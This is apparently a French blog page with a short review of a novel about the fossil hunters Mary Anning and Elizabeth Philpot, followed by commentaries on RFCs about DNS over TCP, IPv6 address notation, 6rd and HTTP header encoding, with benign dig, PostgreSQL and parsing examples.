Le livre tourne autout de deux personnages féminins aussi remarquables que les créatures du titre : Mary Anning et Elizabeth Philpot. Ce sont deux personnages historiques mais la romancière a élaboré, sur leurs travaux réels et documentés, une magnifique histoire d'amitié. Face à tous les préjugés d'une Angleterre bigote, où une femme qui décide de se promener seule, ou bien de s'intéresser aux fossiles, ne peut être qu'une folle ou une prostituée, Mary et Elizabeth vont se lancer à la chasse aux fossiles, découvrir des milliers de spécimens et plusieurs nouvelles espèces dont les plus fameuses étaient l'ichtyosaure et le plésiosaure.

L'époque voyait le développement d'une grande mode des fossiles. Elle était donc pleine de collectionneurs de fossiles qui ne savaient pas distinguer un ammonite d'un bélemnite... Les deux héroïnes du roman regardent ces collectionneurs de haut : elles n'achètent pas, elles chassent.

Le statut de ces espèces récemment découvertes faisait l'objet de nombreux débats (l'ichtyosaure n'était-il pas simplement un crocodile ? Le plésiosaure un couper/coller d'un serpent et d'une tortue ?) mais le roman n'est pas un livre de paléontologie. C'est surtout un hommage au passionné (plutôt à la passionnée puisque peu d'hommes ont un rôle positif dans ce livre...), à celle qui a « l'œil du chasseur », celle qui, entièrement prise par sa passion, ignorante des conventions sociales, voit les fossiles là où les gens ordinaires ne voient que des cailloux.


L'article seul

RFC 5966: DNS Transport over TCP - Implementation Requirements

Date de publication du RFC : Août 2010
Auteur(s) du RFC : R. Bellis (Nominet)
Chemin des normes
Réalisé dans le cadre du groupe de travail IETF dnsext
Première rédaction de cet article le 24 août 2010


La vague mention des virtual circuits (connexions TCP) dans la section 4.2 du RFC 1035 a suscité d'innombrables polémiques, que ce RFC 5966 a tranché. En deux mots, un serveur DNS doit-il fournir son service avec les protocoles de transport TCP et UDP ou bien peut-il se contenter d'UDP ? La réponse était clairement « TCP et UDP » et le remplaçant de ce document, le RFC 7766, a été depuis encore plus net.

La discussion était d'autant plus vive que certains registres procèdent à des tests techniques obligatoires avant l'enregistrement d'un nom de domaine et que ces tests peuvent inclure la disponibilité du service sur TCP. Par exemple, l'outil Zonecheck dispose d'un tel test (qui se configure avec <check name="tcp" severity="f ou bien w" category="connectivity:l4"/>) et l'AFNIC impose le succès de ce test pour un enregistrement dans .fr (contrairement à ce qu'on lit parfois, il est faux de dire « Zonecheck impose TCP », Zonecheck est configurable et c'est l'AFNIC qui choisit d'activer ce test, et décide de son caractère bloquant ou non). On a vu ainsi des discussions sur ces tests, même si les opposants ont rarement fait l'effort de prendre le clavier pour écrire une argumentation raisonnée (on les comprend quand on voit que toutes les discussions publiques sur le sujet indiquent un consensus des experts sur l'importance du service TCP, voir par exemple http://www.circleid.com/posts/afnic_dns_server_redelegation/).

Mais c'est aussi que l'approche « légaliste » de la discussion est vouée à tourner en rond. Le texte du RFC 1035 (ou celui de la section 6.1.3.2 du RFC 1123) est vague, et peut s'interpréter de différentes manières. Il faut donc revenir aux bases du DNS, pour décider si TCP est important ou pas, et pas essayer vainement de trouver un texte sacré qui trancherait la question de manière claire.

Revenons donc à ces bases (section 1 du RFC). Le DNS peut s'utiliser sur UDP et TCP. Par exemple, l'outil dig, par défaut, utilise UDP, mais l'option +tcp (ou +vc pour virtual circuit) lui fait utiliser TCP. TCP est obligatoire pour les transferts de zone (cf. RFC 5936) mais, contrairement à une légende répandue, n'est pas réservé à ces transferts et peut être utilisé pour des requêtes ordinaires. Il est notamment obligatoire si la réponse arrive tronquée (bit TC mis à un) car elle ne tenait pas dans le paquet UDP (dont la taille était autrefois limitée à 512 octets). Depuis la création du DNS, la taille des réponses a beaucoup augmenté (IDN et IPv6 mais surtout DNSSEC y ont largement contribué) et, malgré la suppression de la limite de 512 (cf. RFC 6891), TCP est donc encore plus nécessaire que dans le passé.

Arrivé là, il faut faire une distinction importante entre ce que peut le logiciel et ce qu'a activé l'administrateur système. Ainsi, le logiciel djbdns permet parfaitement TCP mais il n'est pas activé par défaut. De même, BIND ou NSD ont TCP par défaut mais un pare-feu situé devant le serveur de noms peut bloquer les accès TCP. Notre RFC 5966 sépare donc protocole et mise en œuvre et ne traite que le cas du logiciel : il précise que tout logiciel DNS doit avoir la possibilité de faire du TCP mais il ne tranche pas (délibérement) la question de savoir si TCP doit être disponible sur un serveur de noms en activité. Il note simplement que l'absence de TCP peut planter le processus de résolution de noms.

La section 3 du RFC discute ensuite les différentes questions liées à ce choix. Le principal problème est celui de la taille des réponses. Autrefois limitée à 512 octets, elle peut prendre des valeurs plus grandes (jusqu'à 65536 octets) avec EDNS0. Mais la MTU de 1500 octets est hélas une limite pratique fréquente (cf. RFC 5625, du même auteur), en raison de pare-feux mal configurés. Cela peut poser des problèmes, par exemple lors du déploiement de DNSSEC. Un simple NXDOMAIN depuis .org dépasse les 512 octets :

 

% dig +dnssec SOA certainlydoesnotexist.org

; <<>> DiG 9.6-ESV-R1 <<>> +dnssec SOA certainlydoesnotexist.org
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 64046
;; flags: qr rd ra ad; QUERY: 1, ANSWER: 0, AUTHORITY: 8, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags: do; udp: 4096
;; QUESTION SECTION:
;certainlydoesnotexist.org.	IN	SOA

;; AUTHORITY SECTION:
org.			0	IN	SOA	a0.org.afilias-nst.info. noc.afilias-nst.info. 2009281221 1800 900 604800 86400
org.			0	IN	RRSIG	SOA 7 1 900 20100907065203 20100824055203 52197 org. m3DPnEo+Ibd8W0d/cVW7sMZb8UooI6F6mOn/mQSeLiTnLRUvPaMFsd3m j12W4YgVGMyf1s/YLIItoBy7fhKDdJ2zi2r8PfuBrT9Hr+dut+IHRGDR r+6ALaqBISWeyptCe6TygeudG/1sQkQZlCvaBGKUFpsHEi831FwtMZjc hmI=
h9p7u7tr2u91d0v0ljs9l1gidnp90u3h.org. 86400 IN NSEC3 1 1 1 D399EAAB H9RSFB7FPF2L8HG35CMPC765TDK23RP6 NS SOA RRSIG DNSKEY NSEC3PARAM
h9p7u7tr2u91d0v0ljs9l1gidnp90u3h.org. 86400 IN RRSIG NSEC3 7 2 86400 20100907065203 20100824055203 52197 org. WNHP4aq9hxWHjgZ10HKlqiU6bx2PVQyCgeGJQqykAay4qTcQvD77QMRm c9efWt3M4BO7rr7bt/uY+TqsriJvB1uhvqg93Ti0fPH1SX86hhG8B09U czngma0DZ1UtaCgwpjVQJbAVYRknyfyi6NM7hWwbxUtD44EVWE14qEbb 93A=
b42oorh0vfd9ble13e1him76im76qsl6.org. 86400 IN NSEC3 1 1 1 D399EAAB B49TR2SSRPRC2FF6FIVQ25UFDMRL7Q63 NS DS RRSIG
b42oorh0vfd9ble13e1him76im76qsl6.org. 86400 IN RRSIG NSEC3 7 2 86400 20100906200816 20100823190816 52197 org. I5l7iR/5TngAspzO36TkNYGGugE2whPsUvQP/nPoNMBCC58/4TtNQysF Pdfswz5lPm14Ei8UrCSXjG17Db7yVFk4MD/oidsfweEJ2hwJqcoPAXqY bcqliZxUq/9dLW7zkH4tKwCDXfYHQKFgW7MhKr/i5JUJRkZgR0Q/7mmu PF4=
vae6tvink0oqnd756037uoir56fokhtd.org. 86400 IN NSEC3 1 1 1 D399EAAB VB1V404HEINQ7A8TQTJ9OASALN2IS19G A RRSIG
vae6tvink0oqnd756037uoir56fokhtd.org. 86400 IN RRSIG NSEC3 7 2 86400 20100907011155 20100824001155 52197 org. lHZ3Zi7vMKEcPif/SE9w31xobVq7VXcifR3EE+G1c3lxm3bKdMI9tY3x 6hOkHbUnbgY8XNvEmaobjmPYd4UdYLQa8eonTuRaupI90AZt9Fi83k6u ruCRHP0ChO9VUD+Yc68mM7spD+7nTIfRu/FkNKEuNvqSHipgR5blBfNg KZw=

;; Query time: 43 msec
;; SERVER: ::1#53(::1)
;; WHEN: Tue Aug 24 08:54:12 2010
;; MSG SIZE  rcvd: 1019

Dans tous ces cas, TCP est la seule solution fiable. À l'ère de YouTube et de ses giga-octets de vidéo, il serait curieux d'en rester au DNS de 1990 et de ses limites archaïques à 512 octets. Un serveur de noms doit donc pouvoir utiliser TCP.

Mais, lorsque le serveur de noms a le choix, quel protocole de transport doit-il utiliser ? C'est l'objet de la section 4. Elle modifie légèrement le RFC 1123 dont la section 6.1.3.2 imposait à un résolveur de tenter UDP d'abord (et de passer en TCP si la réponse arrive tronquée). Désormais, le résolveur a le droit de poser sa question en TCP d'abord, s'il a de bonnes raisons de penser (par exemple parce qu'il a déjà parlé à ce serveur) que la réponse arrivera tronquée.

Les sections 5 et 6 sont consacrées à des problèmes pratiques avec la mise en œuvre de TCP. Par exemple, comme le DNS sur TCP peut faire passer plusieurs requêtes dans une connexion TCP, notre RFC précise que les réponses ont parfaitement le droit d'arriver dans un ordre différent de celui des questions.

Restent les questions de sécurité et autres craintes qui sont mentionnées par certains objecteurs (on peut citer http://cr.yp.to/djbdns/tcp.html#why comme très bel exemple de catalogue d'erreurs et d'énormités). En effet, programmer TCP dans le serveur de noms n'est pas très difficile. Ma propre implémentation, dans Grong, fut triviale, car le langage Go, avec son parallélisme natif facilite beaucoup les choses. Mais, même en C, si le serveur utilise plusieurs sockets, par exemple pour gérer IPv4 et IPv6, ajouter TCP en prime ne changera pas beaucoup la boucle principale autour de select(). L'obligation de gérer TCP ne gênera donc qu'une petite minorité de programmeurs, ceux qui essayaient de faire un serveur DNS basé sur le traitement séquentiel des paquets.

En revanche, l'obligation de gérer TCP est parfois critiquée pour des raisons de sécurité. La section 7 discute ce problème des DoS : TCP nécessite un état sur le serveur et consomme donc des ressources. En théorie, cela rendrait les serveurs DNS plus sensibles aux DoS. Toutefois, presque tous les serveurs de noms de la racine ont TCP depuis longtemps, ainsi que la grande majorité des serveurs des grands TLD et on ne voit pas d'attaques pour autant. (Le RFC se limite au cas du DNS mais on peut aussi, en sortant du petit monde DNS, noter que l'écrasante majorité des serveurs Internet utilise exclusivement TCP... En outre, UDP a ses propres problèmes de sécurité, notamment la facilité à tricher sur l'adresse IP source, facilité qui est à la base de l'attaque Kaminsky.) Le RFC recommande toutefois la lecture de bons textes comme « CPNI technical note 3/2009  \ Security assessment of the Transmission Control Protocol (TCP)  ».

Et la charge du serveur ? Le RFC n'en parle pas mais il y avait eu des inquiétudes à ce sujet, basées sur le fait que les études montrent une augmentation relative très importante du trafic TCP lorsqu'on active DNSSEC. Ce trafic peut-il épuiser le serveur. Notons que, si un passage de 0,2 requête/s à 50 peut sembler énorme, cela reste ridicule en valeur absolue, à l'heure où le plus petit serveur HTTP en gère bien davantage.

Par contre, une autre objection contre TCP n'est pas citée, ses possibles problèmes avec l'anycast. Désolé, mais je manque de temps pour la commenter ici.

Ah, me demanderez-vous, mon opinion personnelle ? Je trouve qu'aujourd'hui, TCP est à la fois indispensable pour ne pas limiter à des valeurs ridiculement basses la taille des réponses, et facile à déployer, comme le montre l'expérience de tous les gros TLD. EDNS0 permettrait de résoudre une bonne partie des problèmes de taille (et je veux donc bien entendre les objecteurs qui diraient « le test technique devrait exiger TCP ou EDNS0 ») mais je note que les serveurs qui n'ont pas TCP n'ont pratiquement jamais EDNS0 non plus... Il n'y a donc guère de raisons valables, en 2010, d'avoir des serveurs de noms inaccessibles en TCP. (En 2016, notre RFC a été remplacé par le RFC 7766, qui augmente encore le rôle de TCP.)


Téléchargez le RFC 5966


L'article seul

RFC 5952: A Recommendation for IPv6 Address Text Representation

Date de publication du RFC : Août 2010
Auteur(s) du RFC : S. Kawamura (NEC BIGLOBE), M. Kawashima (NEC AccessTechnica)
Chemin des normes
Réalisé dans le cadre du groupe de travail IETF 6man
Première rédaction de cet article le 23 août 2010


Comme pour IPv4, mais de manière bien plus commune, les adresses IPv6 ont plusieurs représentations possibles. Ainsi (section 1 du RFC), l'adresse 2001:db8:0:0:1:0:0:1 peut aussi s'écrire 2001:0db8:0:0:1:0:0:1, 2001:db8::1:0:0:1, 2001:db8::0:1:0:0:1, 2001:0db8::1:0:0:1, 2001:db8:0:0:1::1, 2001:db8:0000:0:1::1 ou 2001:DB8:0:0:1::1. Cette variété peut dans certains cas être cause de confusion, notre RFC propose donc une forme recommandée (ici, 2001:db8::1:0:0:1).

La syntaxe des adresses IPv6 est fixée le RFC 4291, section 2.2. Cette syntaxe est très souple, et venait sans format recommandé, « canonique ». La section 2 liste les points où le RFC 4291 laissait le choix :

  • Possibilité d'indiquer (ou pas) les zéros initiaux dans chaque champ. 2001:db8:0:0:1:0:0:1 et 2001:0db8:0:0:1:0:0:1 sont ainsi équivalentes (deuxième champ).
  • Possibilité de compression des champs nuls consécutifs en les remplaçant par ::. 2001:db8:0:0:0:0:0:1 et 2001:db8::1 sont ainsi la même adresse. Si le :: peut apparaitre à deux endroits, le RFC 4291 impose, pour éviter toute ambiguité, de ne le mettre qu'une fois mais sans préciser où. Ainsi, 2001:db8::aaaa:0:0:1 et 2001:db8:0:0:aaaa::1 sont la même adresse.
  • Pour les chiffres hexadécimaux qui sont des lettres de A à F, on peut utiliser n'importe quelle casse.

Est-ce que cela pose vraiment des problèmes ? Parfois, dit notre RFC, dont la section 3 liste les problèmes possibles (sans les hiérarchiser, ce que je regrette car certains cas semblent quand même assez rares en pratique). Premier problème, la recherche d'une adresse dans un fichier texte ou bien avec un tableur. Si on utilise aveuglément grep sur ses fichiers, on risque de ne pas trouver l'adresse IP (avec grep, il faudrait utiliser une expression rationnelle mais les tableurs, par exemple, n'en disposent pas forcément et leurs utilisateurs peuvent ne pas y penser). Notez qu'avec un SGBD qui dispose d'un type « adresse IP » comme PostgreSQL, ce problème n'existe pas, le SGBD ne traite pas l'adresse comme du texte :

essais=> CREATE TABLE Machines (name TEXT, address INET);
CREATE TABLE
essais=> INSERT INTO Machines VALUES ('gandalf', '2001:db8::cafe:0:1');
INSERT 0 1
essais=> INSERT INTO Machines VALUES ('saroumane', '2001:db8::bad:0:1');
INSERT 0 1
essais=> SELECT * FROM Machines WHERE address = '2001:DB8:0:0:0:CAFE:0:1';
  name   |      address       
---------+--------------------
 gandalf | 2001:db8::cafe:0:1
(1 row)

On voit que, malgré une représentation toute différente de l'adresse, la machine gandalf a bien été trouvée. Si tout le monde utilisait des logiciels de gestion d'adresses IP bâtis sur ce principe, il n'y aurait pas de problème. Mais, comme le note le RFC, les méthodes « du pauvre » à base de grep ou d'Excel sont courantes. (Voir aussi les sections 3.1.3 et 3.1.4, moins convaincantes à mon avis.)

Des problèmes analogues surviennent lorsqu'on veut écrire un programme capable d'analyser des adresses IPv6 sous toutes leurs formes légales (section 3.2.1, avec laquelle je ne suis guère d'accord : il existe des bibliothèques toutes faites pour cela, dans tous les langages, comme inet_pton() pour C, et celui qui réinvente la roue en écrivant un analyseur tout neuf en PHP ou Visual Basic mérite les ennuis qu'il aura).

Le RFC cite d'autres problèmes possibles, comme le fait qu'un module de journalisation qui afficherait les adresses IP sous leur forme longue (comme 2001:0db8:0:0:1:0:0:1) produirait des historiques peu lisibles, ou comme le fait qu'un mécanisme d'audit (par exemple avec un outil comme diff) ou de gestion de versions qui analyserait des changements dans la configuration d'un routeur pourrait croire à tort qu'il y a un changement lorsqu'une adresse IPv6 passe d'une forme à une autre (section 3.2.3). Bien d'autres points analogues sont pointés du doigt par le RFC.

Enfin, le jeu de caractères étendu de l'hexadécimal entraine un risque de confusion entre D et 0, de même qu'entre B et 8 (section 3.4.3).

Quelle solution propose donc notre RFC ? La section 4 est la partie normative du document : elle définit une forme canonique qui devrait être suivie systématiquement lorsqu'une adresse IPv6 est affichée. Rien de nouveau dans cette forme, qui est déjà celle choisie par la plupart des logiciels, à part sa désignation comme forme canonique officielle. Attention, cette obligation ne porte que sur la sortie d'adresses IPv6, en entrée, un logiciel conforme à la norme IPv6 doit toujours accepter les différentes syntaxes.

Une conséquence de cette existence d'une forme canonique est que le logiciel n'affichera donc pas toujours ce qu'on lui a indiqué. Pour reprendre l'exemple PostgreSQL :

essais=> INSERT INTO Machines VALUES ('galadriel', 
                    '2001:0DB8:0:DBA8:0:0:0:1');
INSERT 0 1
essais=> SELECT * FROM Machines WHERE name = 'galadriel';
   name    |      address       
-----------+--------------------
 galadriel | 2001:db8:0:dba8::1

L'adresse sera affichée sous une forme différente de celle sous laquelle elle a été entrée. La section 3.3.1 du RFC expliquait pourtant que c'était une mauvaise idée que d'afficher sous une forme différente, petite contradiction de ce RFC.

Donc, concrètement, comment doit être affichée une adresse ?

  • Les zéros initiaux dans un champ doivent être supprimés (section 4.1). 2001:0db8::0001 doit être écrit 2001:db8::1.
  • L'indication d'une suite de champs nuls, :: doit être utilisée au maximum, doit s'appliquer à la suite la plus longue (s'il y en a plusieurs) et, en cas d'égalité, à la première (section 4.2). Ainsi, 2001:db8:0:0:0:0:0:1 doit s'écrire 2001:db8::1, 2001:db8:0:42:0:0:0:1 doit être mis sous la forme 2001:db8:0:42::1 et 2001:db8:0:0:137:0:0:1 doit être affiché 2001:db8::137:0:0:1.
  • Les chiffres hexadécimaux doivent être en minuscule (section 4.3), donc 2001:DB8::BAD:DCAF doit être 2001:db8::bad:dcaf.

Le RFC prévoit aussi le cas des adresses spéciales comme les adresses IPv4 représentées en IPv6 (section 5).

Si l'adresse IP indiquée comprend également un port, il y avait traditionnellement plusieurs formes. La section 6 rend obligatoire la syntaxe avec crochets [2001:db8::deb:1]:80, issue du RFC 3986 (section 3.2.2) et qui n'était obligatoire que pour les URL.

L'annexe A donne des conseils pour les programmeurs, qui vont devoir écrire des programmes affichant des formes correctes. Ainsi, sur FreeBSD 7.0, l'utilisation de getnameinfo() avec l'option NI_NUMERICHOST produit déjà le résultat correct, sauf pour les adresses dites spéciales.

De même, PostgreSQL produit déjà des adresses au bon format. Et avec inet_pton() ? Le programme canonicalize-v6.c montre que son comportement est bien celui du RFC :

% ./canonicalize-v6 toto 2001:db8:Bad:0:0::0:1 127.0.0.1 35:0FF::1 2001:0:0:1:b:0:0:A 2001:db8:0:0:1:0:0:0
toto -> Illegal input IPv6 address
2001:db8:Bad:0:0::0:1 -> 2001:db8:bad::1
127.0.0.1 -> Illegal input IPv6 address
35:0FF::1 -> 35:ff::1
2001:0:0:1:b:0:0:A -> 2001::1:b:0:0:a
2001:db8:0:0:1:0:0:0 -> 2001:db8:0:0:1::

Voir aussi le RFC 4038 pour des détails sur les questions IPv6 pour les applications.


Téléchargez le RFC 5952


L'article seul

RFC 5969: IPv6 Rapid Deployment on IPv4 Infrastructures (6rd)

Date de publication du RFC : Août 2010
Auteur(s) du RFC : M. Townsley (Cisco), O. Troan (Cisco)
Chemin des normes
Réalisé dans le cadre du groupe de travail IETF softwire
Première rédaction de cet article le 23 août 2010
Dernière mise à jour le 3 septembre 2010


La délicate question de la période de transition entre IPv4 et IPv6 n'a jamais été négligée à l'IETF. Bien au contraire, plusieurs mécanismes ont été normalisés pour assurer le passage d'un protocole à l'autre. Le mécanisme « 6rd », initialement décrit dans le RFC 5569, est un de ces mécanismes. 6rd modifie le 6to4 du RFC 3056 pour garantir un chemin de retour symétrique aux paquets IP (section 1 du RFC). 6rd permet à un FAI de vendre un service IPv6 alors que son réseau interne est essentiellement IPv4. Il est surtout connu pour être la technologie déployée par Free à partir de décembre 2007. Ce RFC 5969 prend la spécification originale de 6rd, dans le RFC 5569, l'étend pour des cas comme celui où les adresses sont distribuées par DHCP et le fait passer sur le chemin des normes IETF (le RFC 5569 avait uniquement le statut « pour information »).

S'il existe plusieurs mécanismes de coexistence d'IPv4 et d'IPv6, c'est parce que les besoins sont différents. Certains FAI ont un réseau interne entièrement IPv6 depuis de nombreuses années comme Nerim. D'autres n'ont pas encore commencé le déploiement. Parfois, le FAI est en avance sur ses clients, parfois c'est le contraire comme c'était le cas pour Free où de nombreux utilisateurs réclamaient IPv6 depuis longtemps. Il existe donc une variété de techniques de coexistence v4/v6. 6rd se positionne pour le cas où le FAI :

  • n'a toujours pas migré la totalité de son réseau interne en IPv6,
  • a une connectivité IPv6 externe, et des adresses IPv6 allouées par un RIR,
  • a certains clients qui réclament une connectivité IPv6,
  • et, de préférence, contrôle le routeur situé chez les clients (cas des « boxes », nommées CE pour « Customer Edge » dans le RFC).

À l'origine, le protocole « idéal » semblait être 6to4 du RFC 3056. Simple, déjà mis en œuvre, y compris en logiciel libre et sans état (chaque paquet est traité indépendamment) donc passe bien à l'échelle. Mais il a des limites, notamment le fait le retour du paquet n'est pas garanti : la machine avec laquelle on communique va chercher son propre relais 6to4 et ne va pas forcément en trouver un. 6rd est une modification de 6to4 pour utiliser comme préfixe, non plus le préfixe 6to4 commun à tous de 2002::/16 mais un préfixe par FAI. Ainsi, le FAI doit désormais lui-même installer des relais, il ne peut plus se reposer sur les relais existants mais, en contre partie, il contrôle complètement le routage, y compris sur le chemin du retour et se retrouve ainsi dans un cas plus classique où ses routeurs servent ses clients (alors que, avec 6to4, tout le monde sert tout le monde, ce qui est très bien lorsque cela marche).

La section 4 décrit la fabrication du préfixe 6rd pour les adresses IP. Ce préfixe combine un préfixe IPv6 choisi par le FAI et tout ou partie de l'adresse IPv4 du CE. Notons que, 6rd étant un bricolage purement local au FAI, la norme n'impose pas, par exemple, le nombre de bits IPv4 conservé (ce point était déjà dans le RFC 5569, voir aussi les sections 7 et 11). Il faut juste garder 64 bits pour le réseau local, pour permettre l'autoconfiguration sans état. On peut garder moins de 32 bits de l'adresse IPv4 car certains octets sont souvent fixés sur le réseau du FAI. Par exemple, un FAI qui consacre le préfixe 2001:DB8::/32 à ses clients 6rd, pour un CE d'adresse 192.0.2.137, et dont tous les CE sont sous 192.0.0.0/8, peut garder les trois quarts de l'adresse IPv4. Le FAI aura alors un préfixe 6rd de 32 + 24 = 56 bits (ce qui laissera 72 bits pour le réseau local, permettant 256 réseaux de longueur /64), le 2001:db8:0002:8900::/56.

Chez Free (qui a un /26), en septembre 2010, les adresses IP de mon réseau sont 2a01:e35:8bd9:8bb0::/64. À partir du 29ème bit commence l'adresse IPv4. Dans mon cas, l'adresse IPv6 s'écrit en binaire 10101000000001000011100011010110001011110110011000101110110000 ou, si on retire les 28 premiers bits, 10110001011110110011000101110110000 qui donne en décimal 88.189.152.187 qui est bien mon adresse v4. Un client Free pourrait donc recevoir en théorie un /60. (Merci à Yvon @ Okazoo pour ses calculs et explications.)

Les acteurs du protocole sont :

  • Les machines sur le réseau local du client, elles parlent IPv6 nativement sur ce réseau local (si elles utilisent l'auto-configuration sans état, la Freebox leur a envoyé le préfixe par RA),
  • Les CPE (CE dans le RFC, pour « Customer Edge », comme la Freebox chez Free), qui doivent parler 6rd pour traduire dans les deux sens,
  • Les relais 6rd, en bordure du réseau du FAI (BR dans le RFC pour « Border Relays »). Chez Free, ce sont des PC Unix (qui devraient être remplacés par des Cisco fin 2010). À noter que 6rd est sans état et que chaque paquet IP peut donc être traité indépendamment des autres. Les BR peuvent donc être joints, par exemple, par l'anycast.

On peut se poser la question de savoir s'il s'agit vraiment d'IPv6 « natif ». Sans doute pas (le paquet circule dans le réseau de Free encapsulé IPv4, ce qui réduit la MTU à 1480 octets).

Pour faciliter le débogage, la section 5 du RFC recommande que CE et BR répondent à l'adresse anycast subnet router du RFC 4291 (section 2.6.1).

La section 7 couvre les mécanismes par lesquels le CE peut être configuré pour faire du 6rd proprement. Ils sont multiples mais on notera en section 7.1.1 l'arrivée d'un nouveau : une option DHCP (numéro 212) pour configurer tous les paramètres 6rd du CE (préfixe IPv6, adresse(s) des BR, nombre de bits de l'adresse v4 à conserver, etc).

La question de la longueur idéale du masque v4 est couverte en section 11. Il s'agit de voir combien de bits de l'adresse v4 doivent être gardés dans le préfixe v6. Si on utilise les 32 bits, et qu'on veut allouer un /56 à chaque client, il faut un /24 pour les servir tous. Ce n'est pas si effrayant que cela, même si tous les AS actuellement actifs le faisaient, cela ne consommerait qu'un /9. Et si ces AS n'allouaient au client qu'un /60, la consommation totale ne serait qu'un /13. À noter que Free n'allloue aujourd'hui qu'un /64 à ses clients, ce qui ne leur permet pas d'avoir plusieurs réseaux chez eux (sauf à renoncer à l'autoconfiguration sans état) et annule donc une partie de l'intérêt de IPv6.

Mais la solution la plus courante sera sans doute de ne pas utiliser les 32 bits de l'adresse IPv4 mais seulement une partie. Par exemple, si tous les CE sont dans le même /12 IPv4, 20 bits suffisent pour les distinguer et on peut alors allouer un /56 à chaque client en ne consommant en tout qu'un /36.

6to4 soulève traditionnellement des gros problèmes de sécurité, documentés dans le RFC 3964. 6rd en supprime certains, si l'implémentation suit les recommandations de la section 12, et effectue les vérifications demandées, mais l'usurpation d'adresse IP demeure relativement facile.

Quelles sont les principales nouveautés de ce RFC 5969 par rapport au RFC 5569 original ? Thibault Muchery les résume en disant que ce nouveau RFC est plus général : la solution mise en œuvre pour Free prenait avantage de certaines particularités de Free (addresses IP fixes, maitrise des logiciels de la CE - la Freebox - et des BR). La solution nouvelle reprend tout à fait le même principe, en généralisant, en standardisant (nouvelle option DHCP, etc.), en présentant plus la solution comme inscrite dans une lignée d'autres solutions, en ajoutant des contrôles plus fins pour la sécurité mais au fond c'est exactement la même solution généralisée.

Et Rémi Desprès, concepteur de la solution originale, note que l'apport majeur du RFC 5969 est la spécification d'une option DHCP pour transmettre aux CPEs (ou "CEs") les paramètres 6rd de leur domaine. (Free n'en avait pas besoin, mais c'est indispensable si les CPE sont acquis indépendamment du FAI.) Il ajoute qu'il y a par contre une régression, mais limitée, dans la section 8. La nouvelle norme envisage une l'utilisation de NUD (Neighbor Unreachability Detection) sur le lien virtuel que constitue un domaine 6rd (tout en le décrivant comme sous-optimal), une complexité à son avis superflue. Le RFC 5969, et propose une technique différente pour tester l'accessibilité des BR, à son avis superflue également. La philosophie KISS du RFC 5569 en est à son avis amoindrie, mais avoir un RFC spécifiant l'option DHCP est plus important que ces points mineurs.

On imagine que la suite des opérations sera une implémentation par Cisco, étant donnée que le RFC est rédigé par des gens travaillant pour Cisco.


Téléchargez le RFC 5969


L'article seul

RFC 5987: Character Set and Language Encoding for Hypertext Transfer Protocol (HTTP) Header Field Parameters

Date de publication du RFC : Août 2010
Auteur(s) du RFC : J. Reschke (greenbytes)
Chemin des normes
Première rédaction de cet article le 23 août 2010


Les requêtes et réponses du protocole HTTP incluent des en-têtes (comme User-Agent: ou Content-Disposition:) avec des valeurs, qui ne pouvaient se représenter directement qu'avec les caractères du jeu ISO 8859-1. Comme MIME, dans le RFC 2231, prévoyait un mécanisme très riche pour encoder les en-têtes du courrier électronique, ce RFC 5987 réutilise ce mécanisme pour HTTP (plusieurs en-têtes l'utilisaient déjà, de manière pas vraiment officielle). Pour le corps du message (voir par exemple le RFC 7578), rien ne change. Ce RFC a depuis été remplacé par le RFC 8187.

Cette restriction à Latin-1 vient de la norme HTTP, le RFC 2616, dans sa section 2.2, qui imposait l'usage du RFC 2047 pour les caractères en dehors de ISO 8859-1. (Le RFC 7230 a changé cette règle depuis.)

Notre RFC peut être résumé en disant qu'il spécifie un profil du RFC 2231. Ce profil est décrit en section 3, qui liste les points précisés par rapport au RFC 2231. Tout ce RFC n'est pas utilisé, ainsi le mécanisme en section 3 du RFC 2231, qui permettait des en-têtes de plus grande taille, n'est pas importé (section 3.1 de notre RFC).

En revanche, la section 4 du RFC 2231, qui spécifiait comment indiquer la langue dans laquelle était écrite la valeur d'un en-tête est repris pour les paramètres dans les en-têtes. Ainsi, (section 3.2.2), voici un en-tête, avec un paramètre title traditionnel en pur ASCII :

X-information: news; title=Economy

et en voici un avec les possibilités de notre RFC pour permettre les caractères £ et € (ce dernier n'existant pas dans Latin-1) :

X-information: news; title*=UTF-8''%c2%a3%20and%20%e2%82%ac%20rates

Par rapport au RFC 2231, deux jeux de caractères sont décrétés obligatoires (ISO 8859-1 et UTF-8) et la mention du jeu utilisée est également désormais obligatoire (section 3.2 de notre RFC). La langue elle-même est indiquée par une étiquette, selon la syntaxe du RFC 5646. Du fait de ces possibilités plus riches que celles prévues autrefois pour HTTP, les paramètres qui s'en servent doivent se distinguer, ce qui est fait avec un astérisque avant le signe égal (voir l'exemple ci-dessus). La valeur du paramètre inclus donc le jeu de caractères et l'encodage (obligatoire), la langue (facultative, elle n'est pas indiquée dans l'exemple ci-dessus) et la valeur proprement dite.

Voici un exemple incluant la langue, ici l'allemand (code de) :

X-quote: theater; 
    sentence*=UTF-8'de'Mit%20der%20Dummheit%20k%C3%A4mpfen%20G%C3%B6tter%20selbst%20vergebens.

La section 4 couvre ensuite les détails pratiques pour les normes qui décrivent un en-tête qui veut utiliser cette possibilité. Par exemple, la section 4.3 traite des erreurs qu'on peut rencontrer en décodant et suggère que, si deux paramètres identiques sont présents, celui dans le nouveau format prenne le dessus. Par exemple, si on a :

X-information: something; title="EURO exchange rates";
               title*=utf-8''%e2%82%ac%20exchange%20rates

le titre est à la fois en ASCII pur et en UTF-8, et c'est cette dernière version qu'il faut utiliser, même si normalement il n'y a qu'un seul paramètre title.

Ceux qui s'intéressent à l'histoire du développement de cette nouvelle norme pourront regarder les minutes de la réunion IETF 72. Ces paramètres étendus sont déjà mis en œuvre dans Konqueror (à partir de la 4.4.1), Firefox et Opera. Des tests plus détaillés sont présentés en http://greenbytes.de/tech/tc2231.


Téléchargez le RFC 5987


L'article seul

RFC 5943: A Dedicated Routing Policy Specification Language Interface Identifier for Operational Testing

Date de publication du RFC : Août 2010
Auteur(s) du RFC : B. Haberman (JHU APL)
Chemin des normes
Première rédaction de cet article le 23 août 2010
Dernière mise à jour le 21 février 2011


